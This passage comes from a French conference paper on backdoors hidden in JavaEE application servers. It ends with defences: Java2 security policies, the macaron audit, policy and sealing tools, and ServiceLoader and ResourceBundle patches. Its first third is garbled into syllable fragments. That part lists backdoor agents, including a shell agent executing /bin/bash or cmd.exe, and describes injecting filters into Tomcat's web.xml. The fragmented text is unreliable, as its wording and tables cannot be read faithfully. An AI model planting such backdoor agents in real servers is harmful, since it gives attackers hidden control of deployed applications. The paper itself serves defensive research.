$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

